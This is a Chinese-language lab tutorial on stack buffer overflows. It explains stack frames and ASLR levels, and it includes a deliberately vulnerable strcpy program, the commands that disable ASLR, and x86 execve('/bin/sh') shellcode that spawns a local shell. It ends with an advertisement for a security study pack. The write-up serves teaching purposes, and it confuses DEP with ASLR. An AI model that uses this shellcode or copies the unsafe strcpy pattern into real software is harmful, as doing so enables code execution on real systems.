一、C栈帧结构
- 函数调用内存中的三个区域,代码区、静态数据区、动态数据区(压栈和清栈就是在这个区域完成的)。
- CPU中有三个寄存器,分别是eip、ebp和esp。eip永远指向代码区中将要执行的下一条指令,执行方式包括顺序执行和跳转;ebp和esp用于管理栈空间,ebp指向栈底,esp指向栈顶,代码区中的函数调用、返回和执行都伴随着不断的压栈和清栈,在调用函数时,ebp会指向Previous Frame Pointer以在执行函数之后返回到原来的地址。栈中数据存储和释放的原则:后进先出。
二、实验原理
- 1、缓冲区溢出是因为在程序执行时数据的长度超出了预先分配的空间大小,导致覆盖了其他数据的分配区域,从而执行非授权指令,获取信息,取得系统特权进而进行各种非法操作导致程序运行失败、系统宕机、重新启动等后果。普通的程序员由于失误导致的缓冲区溢出可能只会导致程序无法运行而不会影响系统,但是如果黑客使用构造好的数据来进行缓冲区溢出攻击则可能获得超级管理员权限,非常危险。
- 2、数据执行保护机制的开启与关闭
- ASLR 技术是一种针对缓冲区溢出的安全保护技术。
- ASLR 功能等级:Linux系统中ASLR 技术分三个等级。如下:
- 0:没有随机化。即关闭 ASLR。
- 1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
- 2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。
- ASLR 功能关闭
- ASLR 的等级可以通过一个内核参数 randomize_va_space 来进行控制。
- 系统默认这个功能是开启的。有时候调试代码时,需要更改 ASLR 功能,可通过命令设置。
- 如果想关闭该功能,则可以输入如下命令即可关闭,注意需要 root 权限,命令如下:
echo 0 > /proc/sys/kernel/randomize_va_space
ASLR功能开启
echo 1 > /proc/sys/kernel/randomize_va_space
可通过命令查看当前系统的 ASLR 等级,操作如下:
cat /proc/sys/kernel/randomize_va_space
三、实验过程
1、首先我们要构造一个拥有缓冲区溢出漏洞的程序,代码如下:
#include <stdio.h>
#include <string.h>
char buffer [] = “01234567890123456789========ABCD” ;
void foo1 (){
printf ( “Run foo1() ,you are attacked !\n” );
}
void foo ()
{
char buff [ 16 ];
strcpy ( buff , buffer );
printf ( “Run foo() …\n” );
}
int main ( int argc , char ***** argv [])
{
foo ();
return 0 ;
}
找到foo1()函数的入口地址,并将该地址以存放在字符串存入缓存时溢出部位:ABCD,来引导该函数运行。
首先在打开数据执行保护的状态下,对其进行重新编译,并进行调试
可以看到由于打开数据执行保护,缓存溢出后会被检测到,并强制停止。
2、之后我们在关闭数据执行保护的状态下,对其进行编译,并进行调试
可以看到,虽然foo1()函数并没有被调用,但其仍然被执行了。
3、完成上面部分后,我们对foo1()函数进行设计,即设计shellcode部分。
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机器码,以其经常让攻击者获得shell而得名。
可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机械码,让电脑可以执行攻击者的任意指令。
下面这段代码是通过C语言启动sh命令的程序,由于shellcode经常用机器编码编写,因此我们需要对其进行反编译得到机器码。
#include <stdio.h>
int main ()
{
char ***** name [ 2 ];
name [ 0 ] = “/bin/sh” ;
name [ 1 ] = NULL ;
execve ( name [ 0 ], name , NULL );
return 0 ;
}
反编译后得到以下机器码:
“\x31\xc0” /* xor %eax,%eax */
“\x50” /* push %eax */
“\x68"”//sh" /* push $0x68732f2f */
“\x68"”/bin" /* push $0x6e69622f */
“\x89\xe3” /* mov %esp,%ebx */
“\x50” /* push %eax */
“\x53” /* push %ebx */
“\x89\xe1” /* mov %esp,%ecx */
“\x31\xd2” /* xor %edx, %edx */
“\xb0\x0b” /* movb $0xb,%al */
“\xcd\x80” ; /* int $0x80 */
将得到的机器码添加到foo1()函数中,并执行,即可将攻击代码注入。
#include <stdio.h>
#include <string.h>
char buffer [] = “01234567890123456789========\x00\x00\x11\xed” ;
void foo1 (){
printf ( “Run foo1() ,you are attacked !\n” );
char shellcode []=
“\x31\xc0” /* xor %eax,%eax */
“\x50” /* push %eax */
“\x68"”//sh" /* push $0x68732f2f */
“\x68"”/bin" /* push $0x6e69622f */
“\x89\xe3” /* mov %esp,%ebx */
“\x50” /* push %eax */
“\x53” /* push %ebx */
“\x89\xe1” /* mov %esp,%ecx */
“\x31\xd2” /* xor %edx, %edx */
“\xb0\x0b” /* movb $0xb,%al */
“\xcd\x80” ; /* int $0x80 */
void (* fp )( void );
fp = ( void *) shellcode ;
fp ();
printf ( “Run foo1() ,you are attacked222 !\n” );
}
void foo ()
{
char buff [ 16 ];
strcpy ( buff , buffer );
printf ( “Run foo() …\n” );
}
int main ( int argc , char ***** argv [])
{
foo ();
return 0 ;
}
此时重新编译运行可以看到被攻击后进入shell命令行,攻击成功。
参考:
缓冲区溢出与数据执行保护DEP - kkqq的文章 - 知乎 https://zhuanlan.zhihu.com/p/500221354
Linux下 ASLR功能与 -no-pie 选项说明_no pie_凌雪舞的博客-
CSDN博客
缓冲区溢出实验 - 小黑豆的文章 - 知乎 https://zhuanlan.zhihu.com/p/138620118
缓冲区溢出实验 - 在路上的文章 - 知乎 https://zhuanlan.zhihu.com/p/151814689
学习计划安排
我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~
这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!
如果你对网络安全入门感兴趣,那么你需要的话可以
点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析